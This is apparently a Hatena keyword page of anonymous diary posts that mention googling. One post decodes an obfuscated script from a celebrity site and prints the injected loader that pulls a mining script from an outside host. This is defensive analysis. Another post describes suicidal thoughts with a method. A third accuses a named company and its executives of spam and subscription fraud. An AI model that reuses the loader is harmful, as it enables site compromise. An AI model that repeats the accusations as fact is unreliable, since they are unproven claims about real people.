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はてなキーワード: ぐぐるとは

2018-06-12

anond:20180612145255

増田について増田で語る増田

ここ来るのに増田ぐぐるNEWS増田が引っかかるので何となく件の人を覚えている

名前しか知らんけど

2018-06-04

からないことをぐぐる解決しないので質問を書き込む→しばらくしてまたぐぐる自分質問が出て来る

この無駄な速さ要らないか

解答見つけてくれよ ホント

2018-06-01

体操服 デコ」でぐぐる

今日から衣替えで幼稚園制服から体操服になったんだ。

けど、そのデコ具合がすごい。

「うわー、ワッペンやアップリケ、名前刺繍しとる…」

と登校時に思って、

世間ではこれは普通なのか?」

と思いぐぐったら、上には上がいた。

うーん、すごい。

2018-05-28

郵便ポスト所在地

これって公式HP見ても乗ってないんだなー

ぐぐると有志の口コミサイトが出てくるだけ

郵便ポスト位置って「あのコンビニの前にあったような…あれ別のコンビニだっけ」ってイマイチ記憶に自信がなくて困るんだけど、サービスとして位置公式で発信して欲しいわ

2018-05-27

Qiitaって昔はもうちょっとマトモな記事が多かったと思うんだが

ここ最近急速にクソ化が進んでるな

もうプログラミング関連で分からないことがあったら英語ぐぐるようにしてるわ

stackoverflowとかはかなり良い

2018-04-16

anond:20180416152915

初めから欠けたコンテキストを呈してるんだから、そこから根本コンテキストまでないし少し遡ったコンテクストまで読めないなら想像力の不足だろうよ。

例えば「ワタミメソッド」って用語が出た場合にその用語そのままでぐぐるのまではまあいいとして、「ワタミ」って用語関係していると推論して「ワタミ」が「魔神英雄伝ワタル」のtypoであると気づくまでが想像力をフル活用するってことじゃん。

さすれば、「ワタミメソッド」なんていう広辞苑の最新版に載ってない言葉でも、なんとくなく「オモシロかっこいいってこと」だと気づける訳だろ。

そこを、どこまで辿れたのかもはっきりせずに「分からんかった」って正直言うとアホかやる気が無いかのどっちかだろ。でも後者ではないだろ。別に根が深い言葉でもないんだから

から、真面目にそういうこと言ってるならキッツイぜえとは思う罠。

2018-04-03

「てにゃ」でぐぐる

てんや」が出てくる。こういう地味な感動ってあるよな。

2018-03-23

彼氏風俗へ行ったら怒っていい

https://anond.hatelabo.jp/20180320010615

このエントリ読んで、切なくて、居ても立ってもいられなくなった。こんな時に人の言葉なんて全く響かないしそもそもまれないだろうし所詮他人事しかないけど、それでも、見てられなかった。思いを書かずにいられなかった。40過ぎた風俗勤務経験ありの中年女の自己満だけど、許してほしい。

風俗現実はそんなにいいもんじゃない

可愛くて、スタイルがよくて、なんかテクニックとかもすごい、そんな相手自分が比べられたかと思うと恥ずかしかった。


自分とのセックス気持ち良くなかったのかも、自分スタイルも顔もよくないし、その上積極的にできていなかったのかも、胸が小さすぎるのかも、しまりが悪いのかも、風俗でどんな風にしたんだろう、ちゃんゴムはつけたのだろうか、彼は嬉しかったのだろうか、どんな風に優しくしたんだろう、なにをしゃべったんだろう、終わった後どんな気持ちになったんだろう、いろんなことを考えた。


少なくとも風俗嬢よりきれいじゃない。だって私は私を売り物にできない。


このあたりの増田気持ちが切なくて気の毒で胸が苦しかった。実態を知ることができないから、女性の方が風俗嬢に対しいろんな想像が膨らんでしまうのだろう。

まず、風俗嬢の9割はそんなに綺麗でもかわいくもテクニシャンでもスタイルが良くもない。なぜなら綺麗で可愛くてスタイルが良い女の子は、風俗嬢にならなくてもいくらでも生きる道があるから。そして体の構造は同じなのでだいたい誰でもやる事は似かよっている。素人の考えるようなどえらいテクニックなんて、そうそう無い。

どこにでもいるような顔とスタイルで、化粧と照明に助けられながら肉体労働をこなしてるのがほとんどの風俗嬢の実態だと言うことは知ってほしい。

そして、残り1割の綺麗で可愛くてスタイル良くてテクニシャンは、数が少ないので激しい争奪戦となる。また、そういう方はちゃん自分のお客さんを掴んでらっしゃるので、自分で上手に予約をコントロールする。研修の合間に仲間とノリで行くようなタイミングでは、この増田の考えるような風俗嬢に会える可能性はまず無い。

彼はあなた価値を性以外のところに見出してるんだと思う

これはさんざん色んな人から言われて聞き飽きてるかもしれない。

男性彼女に求めるもの風俗嬢に求めるものは違う。裸が見たいなら彼女=私でいいじゃない、セックスしたいなら彼女=私がいるじゃないとはよく聞く女性の主張だけど、男性にとって、パートナー身体以外の魅力や価値がある存在で、純度100%エロい欲望だけで好き放題していい相手ではないのだと思う。彼女普段の何気ない仕草や声や笑顔が大好きなのかもしれない。会話するのが楽しくて仕方ないのかもしれない。作ってもらった料理が美味しくて仕方ないのかもしれない。逆に自分が作った料理を美味しそうに食べる姿がたまらないのかもしれない。とにかく、自分のしょうもない性欲で彼女を汚したくない、変なことして嫌われるのがこわい、かっこ悪い自分を見せたくない、パートナーに対してはそんな気持ちがある男性が多いと思う。

男性風俗についての見解ぐぐると「ただの性欲処理」「トイレと一緒」「壊してもいいおもちゃ」みたいな言葉がたくさん出てきた。

彼も「汚いから本番はしてない。キスもしてしない。」なんて言っていた。ほんとか分からないけど。信じてないけど。

でも、そんな言い方ひどいと思った。

この増田は優しい。同じ女性なのにと傷ついてくれる気持ちはとても暖かい。でも大丈夫風俗嬢もお客さんのことをほとんど人と思って接してない。だからお客さんが自分らに向けるもの恋人や妻へのそれと全く別でも大して気にしちゃいない。世の中には最低の位置バランスがとれている関係もあるのだ。

でもだからこそ怒っていい

風俗嬢に対してしてることと彼女にしてることは同じに見えて全く違う。オーライ。君がそう言うのならそうなんだろう君の中では。で?大事なのはどっち?失いたくないのはだれ?

たいていは彼女大事だ、失いたくないと答えるだろう。そしたら怒っていい。…は?大事な人に自分価値押し付けて傷付けるの?って。大事な人守りたくないの?大事な人に笑顔でいてほしくないの?大事な人が辛い思いするの嫌じゃないの?

風俗行ったら相手はどう感じるだろうという想像力のなさをなじっていい。自分をないがしろにされた、自分価値観を尊重されなかった、その部分について、怒り狂っていい。大事だと言いながら行動が伴ってないんだもの

長くてごめんなさい箇条書きでまとめます

風俗嬢に劣等感を感じて自分を傷付ける必要は全く無い

・嫌だと感じることは人それぞれだから嫌なことは嫌だって怒っていい

自分のやってきたこと棚に上げて偉そうなので私個人場合を申し上げるとパートナー風俗行っても自分経験から別に気にしないと思う。でもそれは私個人価値観であって全く別の話でこの増田が傷つくことを否定するものでは決してない。

・この増田には研修中に風俗行くような馬鹿とは別れて幸せになってほしい

2018-03-20

彼氏風俗へ行った

長い付き合いになる彼氏風俗に行った。

しんどかった。

ネットでそれらしい言葉をぐぐってみると「ただの男の性欲処理なんだから理解すべき」「風俗浮気じゃない」というアドバイスが多かった。

女性側の気持ち理解すべき、という男性へのアドバイスはなぜ無いのだろう?と思った。

身体的(本能的)な欲求承認されるのに、感情的もの我慢させられるのはなぜだろうと思った。

男性による風俗レポートはたくさんあるのに、風俗へ行かれてしまった女性側の詳細なレポートはなかなか見つからなかった。

わくわくしているときも、死にたさに溢れている時も、わたしは同じような状況にある人の言葉を探す。

仲間を見つけたからなのか、そこに自分気持ちの代弁を認めるからなのか、不思議と心が落ち着くのだ。

から、誰かにとってそうなるかもしれない期待を込めて、私の気持ちを書き記しておく。

彼の顔が見れなかった

社員研修旅行中、唐突風俗帰りの彼に出くわした。

「さっきセックスしてきたのかあ」「セックスほやほやかあ」「妙にこざっぱりした顔してたかも」「私に気づくまで、笑顔で歩いてきたよね」「信じられない」彼の顔を見れなかった。

彼が他人セックスしてる姿が頭から離れない

ふとしたときに、彼が風俗女性と抱き合っている姿がうかんだ。

官能的なものじゃなく、彼の後ろ姿と抱きしめられて彼の体に隠れてほとんどみえない裸の女性静止画

それが目に浮かぶたび「私じゃない人と、そんなふうに近づいたりするのかあ。」と思った。

宿泊先に戻り、布団に入って目を閉じた。

かに涙が出てきた。鼻水も出てきて、枕元にティッシュがなかったので焦った。

このままでは目が腫れて明日に響くと思い、気合いで泣くのをやめて眠った。眠れるものなんだなあ。

友人や同僚で風俗へ行った経験がある人は何人かいたし、浮気不倫の話を聞いたことがないわけじゃない。

「男は1度くらいは風俗に行くもの素人浮気するよりマシ。」みたいな言葉も知っていた。

でも、直後の彼に出くわしたインパクトが強すぎて、もうむりだ、と思った。

死にたいと思う状況になった」と思った。


なぜか自分を保つことに必死だった

社員研修は続く。

一生懸命笑顔で過ごす。「みんなに怪しいと思われてるかも」という気持ちが拭えない。

頭が働かない。妙にぺらぺら喋っていたような気がする。

挙動不審かも。怪しいと思われてるかも。」と不安になった。

彼氏を含めた同僚数人で話さないといけない状況でも、彼を見ることができない。

早く1人になりたい。

ふとしたとき、泣きそうになった。自席で寝たふりをして、少し泣いてしまった。

会社をやめたいと思った。でも、こんなことで自分キャリアを失うなんて間違ってる、仕事職場人間関係も頑張らなきゃ、これまで通りの人生を過ごさなきゃと思った。

頑張って楽しく過ごすことに必死だった。当然だけど凡ミスや変なボケをかましまくった。

疲れてるんじゃない?と同僚に心配されて、それがまた辛かった。

リングから降りることが許されずに、パンチを受け続けている。負けようが勝とうが私には本当はどうでもいいのに。

辛かった。情けなかった。みじめだった。

みじめだってわかってても頑張ってる自分の小物さが、つらい。

道を歩いている時も、車での移動中も、事故が起きて私だけ死なないかなと思っていた。

私が普通に過ごすことで、私のプライドがズタズタになる。

だってあんなことがあったのに私が笑っていなくてはならない。

自分がみじめでしかたない

研修が終わって解散。彼と暮らす家へ帰る気にもなれず、駅近くのホテルへ向かった。

こんなとき浮気できるような異性の知り合いも、自分はいない。別にしたくなかったけど。

家族友達に連絡しようかとも思ったけど、できなかった。

自分が情けない。意外とプライドが高いのか、誰にも言えなかった。

同僚とわいわい風俗へ行った彼氏と、その辛さをまだ誰にも伝えてないひとりぼっち自分

電車に乗っている間、タクシーに乗っている間、ホテルについてチェックインしている間、部屋につくまで、一生懸命泣くのをこらえた。

エレベーターに乗り部屋のある階についた瞬間、涙がぽろぽろぽろぽろ出始めた。

運良く、エレベーターのすぐ近くに部屋はあった。

鍵を開けて部屋に入りドアを閉めて、そこからずっと声をあげて泣いた。

泣き続けておかしくなりそうだったので、泣くのをやめた。

自分の心が壊れるのが怖い。だから、泣きすぎるとやばいと思った。彼氏よりも自分が壊れるのが怖いんだなあと思った。

バッグから洗濯物を出して、洗濯機を回した。

各部屋にドラム式洗濯機がついてる。だから1泊1万円もした。トリバゴから予約したらもっと安かったのかも...と思った。

死にたみとの戦い

洗濯機を回しながら、本当は結局泣き続けた。呼吸がおかしくなるたびに一度自分を落ち着かせた。

ドラム式洗濯機洗濯乾燥時間めっちゃ長い。

2時間半もかかるのか!と思ったけど、そんな時間余裕で泣いていた。

洗濯したくせに、カミソリで腕を切って浴槽につけておこうと思った。電車に飛び込みとか、首吊りかいろいろ考えたけど、なんとなく浴槽がいいなと思った。少なくとも今の自分から一番近い。

けれど、お母さんの顔が浮かんだ。

お母さんの心が壊れてしまうのだけは嫌だと思った。だから風呂で、「死んじゃいたい」「死んじゃダメだ」「死んじゃいたい」「死んじゃダメだ」...と声をあげて泣いた。

でも、なんとなく、自分は死なないだろうと思っていた。

これまでも死にたいことは何度もあった、でも自分の周りの人が苦しむのが嫌で、何度も何度も何度も何度も死にたさと戦って、生きることを選んできた。

からきっと生きるんだろうなとどこかで思った。

洗濯しただけのことはある。

でも、これは人生ベスト3に入るぐらい辛かったなあ。過去の辛さは、その時々ではベスト1なんだけれど。

この時代に生きてて良かったと思ったのは、同じような体験ネットで読めることだった。

自分の考えを巡らせることだけに終始していたら、きっと生きていなかった。

実はクローズドでやっているSNSに、死にたさを示唆する書き込みをしてしまった。すぐ削除したけど、それに気付いた学生時代の友人が連絡をくれた。

彼女も死にたさと戦うことがあると教えてくれて、それにも救われた。

彼女が使った「死にたみ」という言葉も、好きになった。

大切なものがくだらないことに壊される情けなさ

彼氏風俗に行ったのは、すごくくだらないことだと思った。

くだらない性欲をくだらないノリでくだらない同僚と吐き出しにいった。

でも自分にはそれだけだと思えなかった。

可愛くて、スタイルがよくて、なんかテクニックとかもすごい、そんな相手自分が比べられたかと思うと恥ずかしかった。

こんな恥ずかしい顔や体や自分を、愛されてる、受け入れられてる、喜ばれてる、と何の疑問も持たずに彼にさらけ出してきた自分が恥ずかしかった。

親や家族や友人は、いつも自分を大切にしてくれた。

私の心と体がいかに大切なものか、長い時間をかけて教えてくれた気がする。

そのせいなのか、ただモテないだけなのか、私は周りが恋愛セックスをしてる間に、自分の夢に向かって勉強してるようなタイプだった。そんな自分人生が嫌いじゃなかった。

それが、彼のくだらない一夜の風俗で壊された気がした。

自分の大切なものが、こんなくだらないことで壊されたのが悲しくてみじめで、こんなことになっちゃった自分が情けなくて仕方なかった。だから誰にも言えないと思った。がっかりされると思った。恥ずかしいのもあるけど、周りの人まで残念な気持ちにさせるんじゃないかと思った。

こんな気持ちにさせた彼が許せない。ひどい。でも好きだからこそ悲しいことが、悲しい。

すべて壊れてしまった

恋愛セックスも人並み以下の経験しかせずに、しかも結局夢にも破れて、なぜだかストーカー被害にもあったりしていろいろ挫折して、どんぞこにいた自分を、元の明るい自分にしてくれたのは彼だった。

初めて恋人誕生日クリスマスやお正月を過ごした。旅行にもいった。なくしたけど指輪ももらった。長い時間を一緒に過ごした。お互い仕事も頑張って成長した。いろんな幸せがあった。

なのに、その彼に結局は壊されてしまった。

彼が友達と行った旅行飲み会も、ぜんぶ風俗に行ってたかもしれない。そう思うと楽しかった思い出も全部むなしい。彼のことが好きで、いつも幸せだったから、それが全部裏切られたと思った。全部わたしの、独りよがり幸せだったのかもしれない。

天使なんかじゃない」っていう少女漫画で、主人公の彼ママ過去隠し子不倫をされて離婚している)が「(不倫に気付いた時)積み重ねてきた幸せが全部崩れるようだった」と主人公吐露して泣くシーンがあるんだけど、それを思い出した。(セリフうろ覚え




自分ダメだと思った

自分とのセックス気持ち良くなかったのかも、自分スタイルも顔もよくないし、その上積極的にできていなかったのかも、胸が小さすぎるのかも、しまりが悪いのかも、風俗でどんな風にしたんだろう、ちゃんゴムはつけたのだろうか、彼は嬉しかったのだろうか、どんな風に優しくしたんだろう、なにをしゃべったんだろう、終わった後どんな気持ちになったんだろう、いろんなことを考えた。

彼は私が悲しむと思わなかったのかな、背徳感はなかったのかな、きっと気軽な気持ちだったんだろうけど、それにしても浅はかだな。がっかりだな。

私の弱さを気にするほど、彼は私に興味がなかったのかもしれない。

彼にというか、彼に勝手に期待して依存して彼のくだらない行動で傷付いてしまった自分の弱さが情けない。

自分ちゃん自分だけを信じて自律していれば、こんなに傷付かないはずだった。

自分ってだめだと思った。

もともと他人に期待しすぎちゃいけないと思って生きてきた。

自分の傷つきやすさを自覚しているからこそ、家族や友人も含めて、他人に変に期待(依存)しないように、思春期からずっと気をつけてきた。

それでも、彼氏にはすごく期待してしまっていたことに、今回気付いた。

こんな無意識の期待さえしてはいけなかったんだと分かって悲しかった。

今後、他人に対してもっともっと慎重にいなければならないと思うと、生きる喜びってとても少ないなと思った。

また彼より自分について考えてるなあと思った。いつも私は私のことばっかり考えてる。だからダメなのかもしれない。

それでもやっぱり、自分はどうしたら明るく楽しく生きていけるかなと考えた。

引っ越しシェアハウス転職海外に行く...いろんなことを考えて、調べた。全然眠れなかった。

死にたみに溢れてても、生きていくアイデアアクセスしようとした自分は成長したと思った。ネットはすごい。思えば過去自死願望にも、いつもネット時間薬をくれた気がする。


好きだからつらい、つらいことがこわい

自分の心が壊れるのが怖いから、もう前ほど彼を信じようとは思えない、それがさみしい。

人間孤独で、どんなときも心のどこかで人に対してあきらめを抱えたまま生きていくしかないのに、誰と愛し合おうが結婚しようがそれは変わらないのに、うっかり忘れてしまっていた自分が情けない。

情けないけど、やっぱり信じていたかたから辛い。寂しい。残念だ。辛い。

神様が、本当はいなかった、本当はひどい詐欺師だったような気持ち

なんで私だけが気付いてしまったんだろう。

浮気されてる女性を知っている。一見幸せな家庭に見えるけど、そんなのダサいって思ってた。今でも思う。でも、彼女幸せなのかもしれない。

気付きたくなかった、あの日、あの場所にいなければよかった。

思い出して泣いてしま自分、自信を無くしてしまった自分、楽しさを失くしてしまった自分、こんなネガティブで暗い自分は、結局彼とうまくやれないと思った。

結局彼を許しても、いつか彼が離れていくと思った。

彼のことが好きだから、今まで幸せだったから、それが辛い。

私みたいな世間知らずじゃなくて、もっと経験豊富で肝っ玉な女の子と付き合ってくれればよかったのにと思った。

信じても信じなくても、もし彼が、もしもう一度同じ過ちをしたら、もう自分は生きられないと思った。そんなことで自死するなんてダサイからやだなあ。

それに、私は私が壊れるのが怖いから、たぶんもう前ほど彼を好きになれない。

もっと言えば、いつも他人を心の底で少し突き放して生きていくことになる。それは軽蔑と言ってもいい。残念だな。

なんにせよまた新しい自分の弱さを知ってしまって、生きることがむずかしい。それでも生きるけど。つらくなってしまった。

どうして生きるのはこんなにつらくてつらくてつらいんだろう。

キルケゴールの「死に至る病」って、私本当は逆だと思う。

信じることはあまり盲目で、目が覚めた時に断罪されるんだと思う。みんな目が覚めたくないから信じたいんだよ。(私別にクリスチャンじゃないけど、ごめんなさい)

風俗嬢を悪く言わないで

男性風俗についての見解ぐぐると「ただの性欲処理」「トイレと一緒」「壊してもいいおもちゃ」みたいな言葉がたくさん出てきた。

彼も「汚いから本番はしてない。キスもしてしない。」なんて言っていた。ほんとか分からないけど。信じてないけど。

でも、そんな言い方ひどいと思った。

自分がしたくてお金払って行っておいて、生身の人間に対してその言い草はないよ。

私はお店の人や通りすがりの人や、赤の他人にもいつも親切な彼が好きだった。

性的なこととなるととたんに道徳感を失うなんて理解しがたいよ。私と同じ女性を、そんな風に言わないで。言い訳のつもりだったかもしれないけど。

自分パートナーには、動物とか本能とか言う前に人でいて、素敵な人でいてほしいよ。

私は風俗嬢という言葉を見るたびに、少し傷つく気がする。でもそれは風俗嬢にされてるわけじゃない。あなたに傷つけられんだ。


忘れたくない

話し合いを重ねて、結局彼と暮らしている。

改められる人だったから信じることにした。でも、もう私の「信じる」は前の「信じる」とは違う。限りなく「信じたいけど」に近い。

2人でいることの幸せも、言葉からうけるニュアンスも、すべてが前と違う。

別れを切り出したのは私なのに、私は自分が裏切ったり彼にふられたりすることに怯えてる。

それがしんどくなったら本当に終わりだなと思う。

嫌いになることも、嫌いになられることも、こわい。こんな気持ちを知りたくなかった。

いつか出産して、わたしのあそこがゆるくなったらまた風俗にいくのかな。

風俗から帰ってきたその手で子供をなでるんだろうか、なんて結婚願望も子作り願望もないのに想像してしまった。


れいになりたいと思った

悲しいかな、自分の醜さが目に付いた。

顔が腫れぼったい、鼻が低い、目が細い、口が曲がってる、眉毛すら美しく生えていない。

胸が小さい、くびれがない、下腹がみっともない、足が太い、とにかくいけてない。

少なくとも風俗嬢よりきれいじゃない。だって私は私を売り物にできない。

鏡を見たくなくなった。写真を見るたびに落ち込んだ。

彼が可愛いねといっても、「ほんとは可愛い子が好きなんだ」としか思えなくなった。

ガッキーみたいな子だったのかな、それともギャルみたいな子だったのかな、どんな顔でどんな体型でどんなメイクでどんな風に喋る子だったのだろう。

セックスしたいけどしたくない

彼がすでに誰かにさわられたところも、まだ誰もふれていないところも、すべてをさわりたい。私が液体になれたら楽なのに。

彼が本当にしたいことを知りたい、でも、みっともない自分が恥ずかしい。

今出来なくなったらずっと出来なくなる気がする。

でも今したら、私が軽薄みたいな気もする。

いよいよどうしたらいいのか分からなくなって、「セックス やり方」と検索する。

そうこうしてると風俗嬢の解説に行き着いてしまい、また彼が誰かとセックスする姿が頭から離れない。

どんな風にしたんだろうって、聞きたい。でも聞いたらきっと立ち直れない。

時間がはやく経てば良いのに。

あの時から今までずっと、死にたいことととそれでも生きること、彼の風俗のこと、自分の醜さ、知らなかった感情を知る怖さと、それが増えていく人生意味について考えている。

こんなくだらないことで、わたしリタイアしたくない。

2018-03-19

anond:20180319085148

すまんぬ。岸記念体育館、じゃなくて岸記念体育会館、でぐぐると出てくる。

ニュースにもなってる>https://mainichi.jp/articles/20160203/k00/00m/050/018000c

個人的には外苑再開発がらみで、なんかあったんかなーと思って目についた。外苑再開発の方がきな臭い気がしているが。

2018-03-11

anond:20180311110835

逆手、と呼ばれてるのは見た事あるけど

ぐぐる辞書的にはそんな意味ないな

2018-02-21

anond:20180221193215

JavaScriptには詳しくないため、コードをまるごと検索につっこんで類似例を見つけたいところだが、記号が多用されたコードそのままではぐぐれないので

"javascript obfuscator dollar underscore" といったキーワード検索

すると下記の解説サイトがヒットし、JJEncodeというツールで難読化されたものであることがわかる

https://blog.korelogic.com/blog/2015/01/12

 

デコードツールも紹介されているのでさっそく試してみると、以下の結果が得られる

var el = document.createElement('script');
el.src = 'https://web.stati.bid/js/YQHHAAUDYwBFglDXg0VSBVWyEDQ5dxGCBTNT8UDGUBBT0zPFUjCtARE2NzAVJSIPQ0FJABFUVTK_AABJVxIGEkH5QCFDBASVIhPPcREqYRFEdRQcsUEkARJYQyAXVBPNcQLaQAVm4CQCZAAVdEMGYAXQxwa.js?trl=0.20';
document.head.appendChild(el);

 

次に "web.stati.bid" でぐぐると下記のブログがヒットする

それによると去年12月ぐらいか複数サイトが改変被害に遭っていて、同じスクリプトを挿入されているらしい

飛び先のURLはいくつかあるが、中でもこのstati.bidドメインは今月登録されたばかりの非常に新しいもののようだ

https://blog.sucuri.net/2018/02/wikipedia-page-review-revealed-minr-malware.html

ちょうど英語Wikipediaでも同ドメインへ繋がるリンクが貼られて一悶着あったようだが、そのURL桂春蝶サイトに埋め込まれていたURLと(パラメータ込みで)完全一致する

 

結論:黒。実際にマイニングスクリプトが埋め込まれている。

ただし前例から考えて、第三者クラックして挿入したものである可能性が高い

2018-02-19

MS製品バグだらけ→解決策をぐぐるマイクロソフトコミュニティの同じ質問が出てくる→とりあえずクリックモデレーターのアホみたいな質問復唱→解決策なし

こればっか

なんなの?アホなの?いい加減にしろ金返せ

客を舐めてんじゃねーぞ

2018-02-17

anond:20180217135044

一般にそういわれてるよ。

ポークカレーぐぐると、約 4,180,000 件 見つかるし、

ココイチでも売ってるし

http://www.ichibanya.co.jp/menu/energy.html?id=74

鶏が入っていればチキンカレーだし。

2018-01-15

エロ漫画レビューサイト偉い

どんなエロ漫画ぐぐると大抵最初にひっかかるページがあってたまにお世話になってるけど、

紙の本かってそれを写真にとってるんだよな

偉い(えろい)と思う

2018-01-02

anond:20180102092509

anond.hatelabo.jpが力を持ったドメインなのは間違いないのだけどね

ぐーぐるさんもはてぶついてない増田うんこ未満だとわかってるのかロクにぐぐる結果にも出さん

URLを直接はてブしたほうが間違いないと気づいて連投するもNGドメイン指定受けるまでがテンプレ

2017-12-24

アダルトスパム業者健康商品で荒稼ぎ!?

アダルトスパム業者健康商品で荒稼ぎ!?

最近大人気の健康食品化粧品業界

なんと健康食品だけで市場規模が1兆5000億を超えるといわれているんだよ。

当然、金のなるところには害虫もよってくるわけで・・・

とんでもない悪徳業者がこのジャンルに潜んでいることをみつけたのでシェアするよ。

その業者販売している商品名は、「めっちゃたっぷりフルーツ青汁」、「めっちゃたっぷりフルーツ青汁ゼリー」、「ブエラメイクリッチサプリメント」、「MILMILMICHILU(ミルミルミチル)」、「slimbeaut(スリムビュート)」が今のところ確認されている。

なんと、あの有名なGENKINGもステマに加盟しているんだよ。

見つけたので被害が拡大しないように頑張って調べました。

一見まともそうにみえるけど、この業者販売方法や裏の顔がエゲツないので気合をいれて調べました。

【いったいどんな会社!?

その会社は「Biesty」というブランド運営している株式会社シエルという会社だよ

株式会社シエル

代表取締役田村 知之

業務取締役小林 裕二

取締役  :梶浦 遊明

2ch過去ログより】

https://toro.5ch.net/test/read.cgi/siberia/1327212621/245

今は代表者小林裕二氏に変わっているみたいだけど、過去悪事で何か隠したいことがあるからなのかな!?( ̄▽ ̄)

【何が問題なの!?

初回680円と大きく表示されているサイトアクセスをして、安いから買おう!と思って買うと自動的に定期コースになって永遠に送られてくるといういわゆる送りつけ商法的なやつだ。

悪徳業者の中ではこういうやりかたが最近流行っているらしいな。

初回価格が安いというおとり広告をたくさんバラまいて釣られた消費者に対して、強制定期コースに加入させる。・・・しかも4000円以上もとられるんだぜ、強制自動課金じゃんw

しかも解約するのに電話はつながらず、webで解約しようにしても複雑な情報を入れなければならなくて、難易度が高い

しかし、解約までたどり着けないと一方的に送られてくる始末だ。

【GENKINGもステマに加盟!?

販売している商品のうち「めっちゃたっぷりフルーツ青汁」という商品はGENKINGもステマに加担しているよ

また、モニプラというサイト玄人ステマも集めているみたい

芸能人も使えるほど資金が潤沢にはみえないけどね・・・この資金はいったいどこから出てきていると思う?

(参考URL

https://mdpr.jp/special/genking-aojiru/pc/

tps://monipla.jp/ciel/etp_review_list/

【その資金源はどこから出てるの!?

母がこの商品を買ってしまい。

まずは下記の URLを見てほしい。

http://hasuraa.blog86.fc2.com/blog-entry-301.html

2016年9月30日、A社の依頼弁護士と名乗る方から削除依頼がありましたので、該当部分を伏せ字にて修正対応しております。(記事引用

ん?これは臭い・・・

怪しい気配を感じた私はネット過去ログ復元してみた

復元URL

https://web.archive.org/web/20110731015118/http://hasuraa.blog86.fc2.com/blog-entry-301.html

以下、簡単なまとめ

H画像添付などのデコメール広告目的スパム配信してきた

利用規約に「株式会社あしあと」と電話番号記載あり

電話番号ぐぐる

株式会社あしあと田村知之、shop@ashiato.co.jp記載FC2商用サイト発見

ashiato.co.jpWho is検索すると株式会社シエル運営元に!!

まり実態はHな画像デコメール広告目的無差別送信するスパム業者だった!!

スパムは儲かるんですかね~じゃないと契約金で人によっては1億円以上といわれている芸能人広告塔には中々使えないですよね

広告代理店なんてかっこいい肩書きを書いている割に

実体スパム配信逮捕された人の売上とかみるとエゲツないもんね・・・

めっちゃたっぷりフルーツ青汁スパムメール販売!?

ネットで調べると、めっちゃたっぷりフルーツ青汁広告付きのスパムメールが大量に送られてきたという記事が出てくる

シエル社の公式サイトをみると、迷惑メールの注意書きの案内が出てるんだよね

確信犯なのか?それとも間違いなのか?

その真偽は闇の中に・・・

(まとめ)

この会社商品を買っている人には悪いんだけど、、、

卑猥スパムメールの金で作った青汁サプリメントを口にしてるなんてびっくり仰天だね

口に入れるものだし気をつけないと、アダルトスパムで荒稼ぎするような業者が体に良いもの作れるかな?考えたらわかるよね?こわっ

「きれいあなたに」なんてかっこいい肩書を書いている割に

実体スパム配信業務とはね。情けない詐欺業者です

以上、健康食品業界の闇でした

気に入ったらシェアしてね~

2017-12-22

qiitaってサイト

俺の中ではもうcookpad化してて

ぐぐる素人の糞記事ばかりひっかかるから-qiitaしてる

邪魔すぎ

猫バンバン

と同じぐらいの勢いでぐぐる時の「-cookpad」も流行らせたい

2017-12-19

https://anond.hatelabo.jp/20171219204839

自律神経失調症の線俺も1年位あたったけど

心療内科がどこ行ってものらりくらりだから、めげないでね

 

ちなみに自律神経失調症を測る機械もあるらしい

ぐぐると出て来る

どこの病院にあるやら(見たことない)

2017-12-18

anond:20171218142501

ラッセルシモンズが始めた#NotMeムーブメントってのがあるんだね。

他にもぐぐるとあちこち新聞がそのような主張をしているけれど、

The Limits of ‘Believe All Women’

https://www.nytimes.com/2017/11/28/opinion/metoo-sexual-harassment-believe-women.html

こういう主張がなされている段階ということはまだ起こっていないのかも。

死にたい

ぐぐると鬱なままだけど

死にたい 鼻毛

ぐぐるちょっとフフッwてなって元気出るよ

2017-12-14

誘い忖度女について

いまや流行語ともなった忖度

ぐぐると「他人気持ちをおしはかること」とある

空気を読むこと、察し力必須文化に相応しい言葉ではある。

この察し力ともいうべき忖度を身近の人物にそうとは自覚曖昧なままに(自分対象として)強制し、

また別の人物トラブルを頻発させるタイプトラブルメイカー。それが誘い忖度である

(いま命名しました)

あなたの周囲にも、何度も何度も

思い込みのっょい人困る><」とか「ただみんなで仲良くしたぃだけなのに><」とか

ツイッター等でさえずる女はいないだろうか。

うっすらとその人物の周りでトラブルが起き、誰かがひっそりと遠ざかる、

またはそのSNS自体から消える。そんなことが何度も起きる。

いつでも被害者。そんな顔をしている。

この手の女はSNSで、いつでも曖昧自分のつらさ、もやもや感を表明し、

善意で声を(異性であれば下心も含むかもしれないが)かけてきた相手

「やさしぃね(:_;)」「いつもありがとぅ(*'ω'*)」などと

甘えて懐く。

表では誰にもやもやしているのかは、はっきりとは言わず、仲良くなった相手に悩み相談愚痴という形で、

しかし、もやもや相手の明白な悪口にはならないギリギリラインで話していく。

自分彼氏が、自分と付き合う前から仲の良い女友達と遊んでるの、みるとやっぱつらいよね…」

それぐらいは誰だって仲のいい友人につい零すこともあるだろう。

その愚痴を受けた友人は、気分転換を勧めたり、または共感して一緒に件の女友達悪口を言うこともあるだろう。

だがその段階を通り過ぎて、女友達SNSから排除しようとしたり、彼氏攻撃し始める友人はちょっとおかしい。

忖度ちゃんをこんなに悲しませたり苦しませるなんて、許さない!」という強固な思い込みを持って

忖度ちゃんの彼氏女友達ストーカーを始めたり、

そのキレっぷりに忖度ちゃんから

「えっそんな…そんなことするなんてこわぃ……なんで…友人さんぃいひとだとおもってたのに(:_;)」と

表の場で言われ、ストーカー判定を周囲から受け、更に女友達彼氏攻撃する図。

思い当ったりしませんか。

そいつが誘い忖度女です。

(その可能性が高いです)

おかしいのはその友人だけで、

そのおかし人物が、たまたま忖度ちゃんの周囲に何人も何人も現れただけでしょうか。




故意にせよ、そうではないにせよ、

己の悪意や「これは嫌だ」という拒否の表明を自身責任をもってせず、周囲に忖度させる。

悪意や拒否という汚れ感情他人に背負わせて、自らの手を汚さず、自分の都合のいい状況に持っていく。

なぜ「忖度女」というかといえば、そういう人間を私が見かけるのは女性ばかりだからですが、

世の中には忖度男もいるのかもしれません。




ストーカーは恥ずべき事、それ自体擁護するつもりはまったくないが、

ただの被害者と思われている人物言動をよく観察してみるべきかもしれません。

気が弱くて嫌な相手をきっぱり拒否できない可哀想な人に親身になって、相談に乗っているうちに、

あなたストーカーになってしま危険はあるのです、たぶん。

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